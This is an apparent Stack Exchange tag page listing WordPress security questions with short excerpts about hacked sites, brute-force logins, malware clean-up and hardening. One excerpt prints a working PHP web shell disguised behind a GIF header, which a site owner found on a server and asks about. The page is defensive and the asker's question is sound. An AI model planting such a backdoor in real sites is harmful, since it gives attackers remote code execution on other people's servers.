WordPress is an open source content management system running on PHP and MySQL, and often used as a blog engine.

learn more… | top users | synonyms

22
votes
1answer
2k views

What is this? Virus or scanner? [closed]

I found a new file in my WP root folder and contains this text: <?php ...
21
votes
2answers
5k views

Is email from my WordPress site a hack or just a normal comment?

I received an email for my WordPress site, where the comment section is disabled. This was the email: "Author: google (IP: 210.56.50.40, 210.56.50.40) Email: guest@gmail.com URL: ...
21
votes
7answers
1k views

How can I protect a WordPress installation?

How do you go about protecting a default WordPress installation? What checklist do you use, best practices, tips and tricks, etc? Any recommendations on plugins, third-party tools are welcome.
20
votes
8answers
3k views

PHP malware/shell keeps resurrecting [duplicate]

So I've been fighting this problem for months now and decided that it's beyond my limited (if at all) server skills, and that I need help from the pros. I have a VPS (with root access) which hosts ...
9
votes
2answers
2k views

Someone Copied Our Site Code (Including Analytics) and Put Adult Content on It [closed]

Someone copied our WordPress based website and put it on another server and added adult content on it. It also includes our Google Analytics code so the traffic to this site also shows on our ...
7
votes
3answers
6k views

How do crackers upload php scripts to Wordpress' wp-content directory?

I've seen a site that has been attacked by uploading php scripts (presumably some sort of shell, or code that loads a shell) to Wordpress' wp-content/uploads directory. Usually this directory is used ...
7
votes
4answers
1k views

Does disabling .htaccess improve security?

I have a new WordPress website that has been installed on a server not managed by me. Its admin has enforced a few rules in order to increase security, I'm not entirely aware of its entirety but it ...
7
votes
1answer
1k views

Brute force login attempt from spoofed IP's

I see that many of my WordPress installs are being hit with 1000+ failed login attempts using non-existing 'admin' account name. The requests come from different IP's every time, and I see IP's such ...
6
votes
1answer
603 views

Google showing spam links on my site

When I search the name of my site on Google, I see site links description which are spammy and not related to my site. Sometimes when I click I get redirect to phishing sites. But I have used many ...
6
votes
3answers
1k views

Wordpress Brute Force Attacker knows real admin Username -

I've noticed a brute force attempt on several different Wordpress installs that know the right admin user name for those respective sites... It seems very strange that the hacker would be able to ...
6
votes
3answers
2k views

Is it possible to use Greasemonkey to hack a website?

Yesterday my WordPress website got hacked. I thought I had done all necessary things to make it secure. One of my colleagues said that with Greasemonkey we can easily hack sites. Is it true? How can I ...
5
votes
3answers
631 views

Is it secure not to have csrf protection in login forms?

I have noticed that WordPress doesn't have csrf protection for their admin panel login /wp-admin/. Does it actually posses any potential risk? Is there any possible ways there an attacker could ...
5
votes
1answer
325 views

Wordpress site redirects to different site when using https. Have I been hacked?

I own my domain and blog infrequently, when I try to access it over https I'm first shown a warning which says that the certificate isn't trusted. This is expected as I never configured SSL for my ...
5
votes
1answer
447 views

Are these access.log entries successful wordpress login attempts?

I am hosting some wordpress sites on an apache 2.4 webserver, and I have discovered thousands of entries in my server logs like this: 221.219.219.248 - - [09/Mar/2015:03:29:25 +1300] "GET ...
5
votes
1answer
359 views

Exploit SoakSoak injected in Wordpress

I have recently received an attack to my website and Google is warning visitors to not load the page. The malware is located in wp-includes/js/swfobject.js of my Wordpress and I had deleted it but ...
5
votes
3answers
349 views

How to prevent adding malicious code, found in hacked WordPress website?

I have a website created using WordPress and used WooCommerce as the cart plugin. Recently I found it hacked, as it responded to an AJAX request with a HTML code, which should receive a JSON object as ...
4
votes
5answers
926 views

HTML Entities to hide Email Addresses

I'm on WordPress trying to keep spambots from grabbing email addresses that may be in The Content. WordPress has a nifty little function simply called antispambot() which will convert the email ...
4
votes
1answer
415 views

Found this weird code in my Wordpress under wp-includes

I found the following code in my Wordpress application, but I am not even sure in what is decoded. The first part of the file looks like this: <?php // Preventing a directory listing ...
4
votes
2answers
164 views

What security risk does it mean if you have your db password and security token publicity available?

In Germany everyone is worried about a prominent political party that exposes their wp-config to the public: https://www.a***********r.de/wp-config.php How much of a security risk is that? The db, ...
4
votes
2answers
124 views

Does HTTP Digest Auth provide any increased security in this scenario?

Say I have a website running a popular CMS like Wordpress only over SSL through HTTP Strict Transport Security. Prior, the backend administrator login page could be accessed by anybody simply by ...
4
votes
1answer
89 views

Is there any danger in the preview button in blogs?

In my Wordpress blog (though this may be true of other blogs too), there is a preview web page feature. So when I get a comment with a link, I can hover over the link, and it shows me a preview of ...
4
votes
2answers
287 views

Pawn in a nefarious porn marketing campaign?

About a month ago we upgraded (maybe not the right term) our site to WordPress. In that time we went from about 3800 inbound links (according to Google WebMaster) to about 5000. We exported our list ...
3
votes
2answers
594 views

I have my website in wordpress and it got hacked how to secure it? [duplicate]

Possible Duplicate: Protecting WordPress installations i have control panel access to my wordpress website, but last week it got hacked and i found that the index.php was replced by the ...
3
votes
2answers
988 views

Is WordPress a security vulnerability inside a corporate intranet?

The company I work for had me develop a WordPress site for their intranet. Now they are saying that it poses security risks and they would like to shut it down and have me use another CMS (SharePoint ...
3
votes
4answers
334 views

Could a compromised WP database cause re-infection without the hacker needing to login into WP?

Is it possible that a compromised WordPress database could somehow be used to re-infect a website? I'm not talking about the hacker decoding user passwords and login into WP. I'm talking about the ...
3
votes
1answer
195 views

Malicious php scripts in word press theme folder?

I am running a server on Ubuntu 10.04 running a word press website, and recently a virus scan revealed that I have several malicious scripts sitting in the word press folder. In particular they are in ...
3
votes
2answers
297 views

Website infected with unwanted “redirections”, apparently via javascript code

I'm working on a clients website, and I realize they've been compromised. Early today there was a major problem with a php eval(base64_decode issue. That was cleaned up via Andy Stratton clean.php ...
3
votes
1answer
192 views

What is a good method to report security breaches that are being used to actively spam?

I received an email the other day purporting to be from a bank I hadn't even heard of, so I decided to poke around. On some quick investigation, it looks like something has just latched onto some poor ...
3
votes
1answer
412 views

HTTP attack taking down PHP-FPM [closed]

Someone started attacking my site a few minutes ago and its caused PHP-FPM to max out all cores (4) on my vps and NGINX is now serving 502 to all users. I'm seeing a bunch of these requests with tons ...
3
votes
2answers
318 views

Will using SSL to secure Wordpress admin area only still actually be secure?

The vast majority of our website contains no sensitive information, logins, forms, etc. However there are portions driven by wordpress so we are looking into getting SSL to secure these areas. There ...
3
votes
2answers
1k views

How do I run a security check on my WordPress server?

I have a cloud-based server running with CentOS 6.0 and CSF installed. Today I got a message from my host that one of my WordPress installations is hacked and used for phishing. But I don't know how ...
3
votes
2answers
99 views

Content management url security

I manage a website that is a "bad magnet" for our competitors. I am using Incapsula CDN + WAF and I have internal proxy for caching. CMS/WP from its nature is very data consuming, I have check ...
3
votes
1answer
180 views

malware attack on my website may have started a SOCKS server - please advise [duplicate]

A website I do some volunteer work for was recently one of those affected by a wordpress plugin vulnerability. Following advice in the answer to this question, which contains details of the attack, ...
2
votes
2answers
273 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
2answers
206 views

Is there any security concern to host Wordpress on the main web server?

We have been hosting our Wordpress blog on a Linux virtual box, and our main web application on an IIS server. Our website is www.mainsite.com and the wordpress is on www.blog.mainsite.com. Now there ...
2
votes
3answers
104 views

Creating a website to test my scanner that I scripted

Hi I looked around on Google and this site for about the last hour and I couldn't find anything that gave a direct answer to my question. I changed the code around in a scanner that I used in the ...
2
votes
3answers
165 views

A scammer placed a remote file on a Wordpress website?

A previous developer I have used has got upset and start compromising the files of my website on daily bases (such as changing the index of the site with weird messages, deleting the .htaccess, ...
2
votes
2answers
1k views

What vulnerabilities in the OWASP Top 10 are relevant to WordPress?

I have been looking at the OWASP Top 10, and am wondering which of the top 10 security risks are relevant to a WordPress installation with various plugins installed? I know injections and XSS are ...
2
votes
1answer
95 views

wordpress server visitor log contains a script, what's the risk?

I see this in my WP statistics: Is it safe to click on the link? Under what conditions will the script be triggered?
2
votes
2answers
588 views

Does reverse proxy between two web servers impact security of both?

Situation: Consider the site: example.com, hosted at web server A. A WordPress blog is to be installed on a different web server, B. In order to route a WordPress installation to a subdirectory on ...
2
votes
1answer
112 views

Does it make sense to use two factor authentication with password protected wp-admin folder?

I've finished building my wordpress website and now, I'm concerned about the security of the website. To improve security, I'm using Google two factor authentication plugin while also ...
2
votes
1answer
223 views

Determining how my Wordpress website was compromised

I have got a blog running Wordpress. The last time I visited my blog I realized it was hacked. The website redirects to a phishing page of paypal meanwhile other links a opening fine. I want to know ...
2
votes
2answers
150 views

Wordpress blog hacked?

There is a Wordpress blog running on Wordpress 4.0. Anyone having the company webmail can signup to the blog using their Google+ account and submit blog posts. Once posted they will be sent to some ...
2
votes
1answer
420 views

Are GET, POST and windows.location vulnerable to XSS in a Wordpress theme?

I created a Wordpress theme for my client. He told me that he scanned my theme with a vulnerability scanner, and that it has security issues with the GET and windows.location methods. Is this really ...
2
votes
1answer
348 views

Understanding what bot was used for a Botnet attack

Yesterday we got to know of a massive brute force attack on WordPress admin accounts targeting weak passwords. From an online source: A botnet using more than 90,000 IP addresses to crack ...
2
votes
1answer
1k views

Help in understanding a PHP exploit code found on a wordpress application

I've found this code in base 64 on all php files of one of my client's sites (wordpress) and I'm trying to understand what it does. I'm also trying to figure out if it was an application exploit or a ...
2
votes
3answers
53 views

Meaning of many failed login into my website

I installed Sucuri Security plugin on my wordpress site, and it reported me that my website has 10 failed login attempts by my registered username with from last night until now. My website hasn`t ...
2
votes
1answer
127 views

Arbitrary file upload, serve JPG as PHP

I'm trying out random older WordPress exploits on my local server, I'm currently in the process trying to get this one to work: https://www.exploit-db.com/exploits/20083/ It doesn't read any ...
2
votes
1answer
125 views

How does this wordpress XSS work?

There is a new Wordpress exploit in wp-includes/formatting.php $textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE); General problem here is that they try to parse ...
2
votes
1answer
291 views

Encrypted code in hacked wordpress site

I have a customer who wants me to "restore" his Wordpress page. I looked a little bit deeper in the codes and found the following code a few times in different files: http://pastebin.com/nL4i6t8x ...